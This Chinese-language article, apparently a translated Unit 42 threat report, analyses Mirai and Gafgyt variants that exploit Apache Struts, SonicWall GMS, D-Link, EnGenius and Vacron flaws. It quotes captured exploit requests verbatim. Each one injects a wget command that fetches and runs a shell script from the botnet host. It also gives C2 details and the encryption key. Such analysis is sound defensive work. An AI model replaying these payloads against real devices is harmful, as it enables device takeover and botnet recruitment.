导语:Unit 42研究人员发现知名IoT僵尸网络Mirai 和Gafgyt的新变种,变种会攻击Apache Struts、SonicWall等企业级设备。
2018年9月7日,Unit 42的研究人员发现融合了攻击16个单独漏洞利用的Mirai变种。这是第一个已知的Mirai攻击Apache Struts漏洞的实例。
另外,研究人员还发现现在为Mirai样本提供主机服务的域名在8月份解析的IP地址为利用CVE-2018-9866漏洞的Gafgyt提供主机服务。
利用Apache Struts漏洞的多利用Mirai变种
新变种中攻击Apache Struct的是CVE-2017-5638漏洞,是一个通过伪造Content-Type、Content-Disposition、Content-Length HTTP headers来进行任意代码执行的漏洞。格式如图1所示:
图1 CVE-2017-5638漏洞利用格式
Mirai变种中其他15个漏洞利用,包括:
利用格式:
POST /tmBlock.cgi HTTP/1.1 Authorization: Basic YWRtaW46cG9ybmh1Yg== Content-Type: application/x-www-form-urlencoded Content-Length: 215 submit_button=&change_action=&action=&commit=0&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `wget%20http://l.ocalhost.host/lsys.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp`&StartEPI=1
该样本还有一个利用GET/POST请求的相同漏洞利用:
/tmBlock.cgi, /tmUnblock.cgi, /hndBlock.cgi and /hndUnblock.cgi Vacron NVR RCE This variant also contains a POST request version of the same exploit : POST /board.cgi HTTP/1.1 Content-Length: 118 Content-Type: application/x-www-form-urlencoded cmd=`wget%20http://l.ocalhost.host/vac.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp` D-Link command.php
RCE漏洞
影响D-Link部分设备。
漏洞利用代码:
POST /command.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 127 cmd=`wget%20http://l.ocalhost.host/cmdphp.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp`
EnGenius RCE漏洞
漏洞利用代码:
POST /web/cgi-bin/usbinteract.cgi HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 133 action=7&path="|wget%20http://l.ocalhost.host/usb.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp||\
这些Mirai样本并不包括Miri常用的暴力破解功能,C2地址为l[.]ocalhost[.]host:47883,使用的加密方案与Mirai相同,加密密钥为0xdeadf00d。
Gafgyt变种中的SonicWall GMS漏洞利用
前面提到的Mirai变种使用的域名l[.]ocalhost[.]host早在2016年11月就被发现与Mirai相关活动有关。2018年8月,该域名被解析为另一个IP地址185[.]10[.]68[.]127。同时,研究人员发现该IP还为利用SonicWall漏洞(CVE-2018-9866)的Gafgyt提供主机服务,该漏洞影响8.1版本之前的SonicWall Global Management System。
CVE-2018-9866的漏洞利用源于没有对set_time_config方法的XML-RPC请求进行处理。图2是样本中的漏洞利用。
图2 SonicWall set_time_config RCE格式
这些样本首次出现的时间是8月5日,距该漏洞的Metasploit模块发布不到一周时间。这些样本利用的是Gafgyt代码库而不是Mirai,支持的命令如下:
表3 SonicWall漏洞利用变种支持的命令
结论
融合多个漏洞攻击Apache Struts和SonicWall的这些IoT/Linux僵尸网络预示着僵尸网络的发展要从用户级设备转向企业级设备。